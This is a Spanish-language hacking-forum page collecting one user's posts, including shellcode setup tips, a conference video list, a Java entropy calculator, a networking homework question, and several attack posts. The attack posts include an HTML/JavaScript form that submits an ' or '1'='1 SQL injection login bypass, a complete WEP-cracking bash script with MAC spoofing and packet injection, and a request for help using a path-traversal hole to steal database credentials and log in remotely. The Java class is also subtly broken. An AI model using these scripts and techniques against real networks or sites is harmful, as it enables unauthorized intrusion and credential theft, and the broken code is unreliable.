Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - SnakingMax

#1
Hacking / Shellcoding 4 dummies
8 Mayo 2011, 18:35 PM
He compartido esta info con todos vosotros en mi blog pero me gustaría hacerlo aquí tambien en la comunidad ya que gracias a esta info he codeado mi primera shellcode, muy básica, pero a veces los tutoriales son algo enrevesados y uno se pierde por la mitad. Así que espero que os sirva de ayuda a los que están interesados en aprender.

Tutoriales muy muy claros:
http://securityetalii.es/2010/04/14/exploitation-shellcodes-en-linux-i/
http://securityetalii.es/2010/04/21/exploitation-shellcodes-en-linux-ii/
http://securityetalii.es/2010/04/05/exploitation-evadiendo-nx/


Compilar un Programita en ensamblador:
Código (bash) [Seleccionar]
nasm -f elf $ShellcodeEnASM


Crea el binario del código compilado. (con el archivo.o generado anteriormente)
Código (bash) [Seleccionar]
ld archivo.o -o sc


Quitar la protección del stack, para que sea ejecutable. (Sí el programita ld tambien puede hacerlo)
Código (bash) [Seleccionar]
sudo execstack -s sc $ShellcodeEjecutable


Desensamblar nuestro ejecutable
Código (bash) [Seleccionar]
objdump -d $ShellcodeEjecutable


Desactivar core dump:
Código (bash) [Seleccionar]
ulimit -c unlimited


Desactivar ALSR: (por defecto está puesto a 2, nosotros lo ponemos a 0)
Código (bash) [Seleccionar]
echo 0 > /proc/sys/kernel/randomize_va_space

Bueno.. con esto ya es suficiente para empezar. Si teneis ganas de aprender estoy seguro que no os vais a perder en el camino pero recordad que a programar se aprende programando.
La shellcode que se explica en los tutoriales no es la única solución ni la mejor para lanzar una shell.

Os animo a visitar en shellstorm las shellcodes de Sagrini (seguro que ya lo conoceis todos) y Kernel_Panic para lanzar el /bin/sh:
http://shell-storm.org/shellcode/shellcode-linux.php

Tambien os animo a utilizar una máquina virtual para codear vuestras shellcodes. A mi me resulta mas cómodo y no me tengo que preocupar de los cambios que le hago al sistema operativo.
#2
Hacking / No cON Name (Videos Conferencia)
30 Diciembre 2010, 13:11 PM

Conferencia sobre seguridad/inseguridad informática en Barcelona.
Disponibles online los videos y papers de las siguientes ponencias:

Cita de: http://noconname.org/
    * HTC Nand dumping for forensics purposes - Pau Oliva
    * Aspectos organizativos ligados a la seguridad de la información - Joan Ayerbe Font
    * 802.1X y 802.11i – La única seguridad real en Red - Yago Fernández Hansen
    * "Que vienen los Zombis" - Pedro Sánchez
    * Nuking and defending SCADA networks - Alexis Porros y Silvia Villanueva
    * IP Fragmentation Overlapping - Jose Selvi
    * Reversing for goods: fixing security vulnerabilities in binaries - Sergi Alvarez i Capilla (pancake)
    * Development of security-critical embedded systems - Anonymous
    * SMSspoofing: fundamentos, vectores de ataque y salvaguardas - Julián Vilas Díaz
    * Resolución de concursos de la No cON Name 2010 - Alejandro Ramos y Francisco Alonso

Enlace a los videos:
http://noconname.org/congreso.html#videos

Que los disfruteis con salud  ;D
#3
Java / calcula entropía archivo
8 Diciembre 2010, 23:27 PM
Estos días me puse a escribir una clase en java para analizar la entropía de un archivo, todo esto con una escasa (casi nula) idea de estadística. Y nada mas.. aquí está el código.
Si encontrais algun error se agradecen sugerencias y críticas. Sobre todo en el método calculaEntropia, porque al no tener ni idea de estadística puede hacer cualquier cosa.

Código (java) [Seleccionar]

import java.io.*;
import java.util.*;

public class analizaEntropia
{
  private char alfabeto[]; //array de caracteres que almacena el alfabeto.
  private int repAlfabeto[]; //numero de veces que se repite cada caracter.
  private int tamAlfabeto=255; //tamaño del alfabeto que vamos a usar.
  private int tamTextoCifrado=0; //tamaño en caracteres del archivo.
  private float entropia[]; //array de entropías.

  public analizaEntropia()
  {
      //Produce: Un alfabeto con sus respectivas frecuencias.

      for (int i=0; i<=tamAlfabeto; i++)
      {
          alfabeto[i]=AsciiDecToChar(i);
      }
     
      for (int i=0; i<=tamAlfabeto; i++)
      {
          repAlfabeto[i]=0;
      }
     
      for (int i=0; i<=tamAlfabeto; i++)
      {
          entropia[i]=0;
      }
  }

  public analizaEntropia(int tamAlf)
  {
      //Produce: Un alfabeto con sus respectivas frecuencias.

      tamAlfabeto=tamAlf;
     
      for (int i=0; i<=tamAlfabeto; i++)
      {
          alfabeto[i]=AsciiDecToChar(i);
      }
     
      for (int i=0; i<=tamAlfabeto; i++)
      {
          repAlfabeto[i]=0;
      }
     
      for (int i=0; i<=tamAlfabeto; i++)
      {
          entropia[i]=0;
      }
  }
 
  public static char AsciiDecToChar(int leido)
  {
      // Método creado por: Grekz, http://grekz.wordpress.com
      // Produce: el caracter ascii asociado a dicho entero.
      return (char)leido;
  }

  public static int contarOcurrencias(String cad, char caracter)
  {
      // Produce: El numero de ocurrencias del caracter en la cadena.
      int i=0;
      int num=cad.indexOf(caracter,0);

      while (num!=-1){
          i=i+1;
          num=cad.indexOf(caracter,num);

      }
      return i;
  }
 
  public double calculaEntropia(int[] ocurrencias)
  {
      //Asigna a un array la entropía de un texto dadas las ocurrencias y su tamaño.
      //Modifica This
      double entr=0;
      double p=0;
     
      for (int i=0; i==tamAlfabeto; i++)
      {
          p=repAlfabeto[i]/tamTextoCifrado;
          if(p>0)
              entr=entr-p*Math.log(p);
      }
      return entr;
  }
 
  public void analizaFichero(String fichero)
  {
      //Produce: Las frecuencias de un fichero.
      //Modifica: This.
     
      String linea = new String();
      try
      {
          //Definimos el archivo y el buffer para la lectura.
          File archivo = new File (fichero);
          FileReader fr = new FileReader (fichero);
          BufferedReader br = new BufferedReader(fr);
         
          try{
              while ((linea = br.readLine())!=null)
              {
                  for(int i=0; i==linea.length(); i++)
                  {
                          repAlfabeto[i]=(contarOcurrencias(linea,alfabeto[i]));
                  }
              tamTextoCifrado=tamTextoCifrado+linea.length();
              }
          }catch (IOException IOe){
              System.out.println("Error de E/S");
          }

      }catch (FileNotFoundException fnfE){
          System.out.println("Archivo no encontrado");
         
      }
  }
}
#4
Bugs y Exploits / Reportar inyecciones SQL
5 Octubre 2010, 23:19 PM
Os dejo un código muy sencillo en html+javascript que he utilizado para reportar inyecciones sql. Sin tener conocimientos de informática a cualquiera que se le haga el reporte puede comprobar la vulnerabilidad.


Código (javascript) [Seleccionar]

<script language="javascript">

function enviar()
{
document.getElementById('valor1').value = "' or '1'='1"+document.getElementById('valor1').value;
return true;
}

</script>

Acceder al primer usuario cuyo LOGIN sea:

<form method="post" action="http://www.laweb.com/accion" onsubmit="enviar();">
<input name="login" id="valor1" type="text">
<input name="password" value="' or '1'='1" id="valor2" type="hidden">
<input value="Enviar" type="submit">

</form>
#5
Redes / Problemas de redes
7 Septiembre 2010, 04:38 AM
Necesito solucionar este par de preguntas de redes. Si alguien me puede echar una mano se lo agradecezco.



CitarSe contrata una línea Frame Relay con CIR de 2Mbps, un intervalo de tiempo de media Tc 1 seg, un Volumen de información en exceso Be de 1Mbit y todo sobre una línea con una capacidad Cf de 20bps. Responda a las 4 cuestiones siguientes:

-Cuanto tardaría en enviarse a través de ese circuito contratada un fichero de 100Kbytes con garantía de entrega.




Saludos
#6
Acabo de realizar un script para Hackear las redes wireles como alternativa al airoscript o similares.
El mío es más sencillo, sin llamadas a métodos. Os lo dejo por aquí:

Código (bash) [Seleccionar]

#! /bin/bash
#Script wifihack por snakingmax.
sudo rm -r /tmp/wifihack/
sudo mkdir /tmp/wifihack/

# PASO 0 - ACTIVAR EL DRIVER MONITOR:
sudo airmon-ng stop mon0;
sudo airmon-ng start wlan0;

# PASO 0.1 - PONERME UNA MAC FALSA. Fabada mola xD
sudo ifconfig mon0 down;
sudo macchanger --mac=00:FA:BA:DA:CA:BE mon0
sudo ifconfig mon0 up;

# PASO 1 - LISTAR LAS WIFIS:
xterm -title "Detectando wifis (paralo cuando quieras)." -e sudo airodump-ng mon0 -w "/tmp/wifihack/wifiList";
cat /tmp/wifihack/wifiList-01.kismet.netxml | grep -e 'essid' -e 'BSSID'  -e 'channel' -e 'encryption' > /tmp/wifihack/wifis |
firefox "/tmp/wifihack/wifis";

# Un inciso para preguntar:
j="n";
while test $j != "s"
do
clear;
echo Dime el canal del punto de acceso:
read canal
echo Dime la mac del router del objetivo:
read MAC_OBJETIVO
echo Dime el nombre de la wifi del objetivo:
read NOMBRE_AP
echo "¿Estás seguro de que lo has escrito bien (s/n)?"
read j
done
echo Vamos a empezar con el proceso entonces.

# PASO 2 - PONER EL AIRODUMP:
xterm -hold  -title "Pinchando la conexión del objetivo" -e sudo airodump-ng -c $canal -w /tmp/wifihack/captura mon0 &

# PASO 3 - HACERSE AMIGO DEL ROUTER DEL OBJETIVO:
# e inyectar algo de tráfico cada 5 segundos.
xterm -hold -title "Me estoy haciendo amigo del router del objetivo" -e "for (( i=0; i<=1000; i++ )) do sudo aireplay-ng -1 0 -a $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE -e $NOMBRE_AP mon0; sleep 5; done" &

# PASO 4 - ESNIFAR ROUTER DEL OBJETIVO:
xterm -hold -title "Almacenando los datos de la conexion pinchada" -e sudo aireplay-ng -3 -b $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE mon0 &

# PASO 5 - OBTENER LA CLAVE A PARTIR DE LO QUE ESNIFAMOS:
xterm -hold -title "Pulsa una tecla para intentar crackear" -e "for (( i=0; i<=1000; i++ )) do read a; sudo aircrack-ng -a 1 -s /tmp/wifihack/captura-01.cap; done"


Solamente me gustaría que mostrase mejor el archivo: wifiList-01.kismet.netxml
Ese archivo contiene en formato xml la lista de wifis de todos los canales wifi.

Lo que hice es volcar a un archivo usando grep los datos mas interesantes de las wifis que se guardan en bloques que empiezan con el campo <encriptacion> y terminan con el campo <canal>.

Y después abro ese archivo con firefox, si no lo tenéis instalado podéis abrirlo con kate o similares.

Lo interesante sería que el script filtrase también las etiquetas de xml y mostrase los datos algo mas ordenados  :P

Un saludo y gracias a todos por vuestra ayuda.
#7
Nivel Web / Vulnerabilidades en PHP
18 Julio 2009, 05:35 AM
Hola, estoy intentando acceder a una BD SQL. Espero que podáis ayudarme.
POR PASOS:

Entro a la web y encuentro el archivo "descargas.php" con el siguiente codigo:
<?
        $ruta=$HTTP_GET_VARS['dir'];
   
   $enlace = "../directorio/".$ruta;

   header ("Content-Disposition: attachment; filename=".$ruta."\n\n");
   header ("Content-Type: application/octet-stream");
   header ("Content-Length: ".filesize($enlace));
   readfile($enlace);
?>

Con lo cual haciendo:
http://www.servidor.com/descargas.php?dir=../../conectarsql.php

Consigo bajar el código del archivo conectarsql.php:

<?
$dbh=mysql_connect ("localhost", "usuario", "contraseña") or die ('Imposible conectar porque: ' . mysql_error());
mysql_select_db ("basededatos",$dbh);
?>

Ahora ya tengo la base de datos, el usuario y la contraseña.
Hago un ping a www.servidor.com y ya tengo la IP del servidor también.

Y ahora que tengo todo viene la gran pregunta:
¿Cómo me conecto remotamente a esa B.D.?
¿Es posible el acceso remoto a la base de datos SQL?
¿$enlace = "../directorio/".$ruta; todavía me vale para robar algun archivo más que no sea el passwd ni los logs porque no tengo permiso para ello?

Espero que podáis echarme una mano con esto. Gracias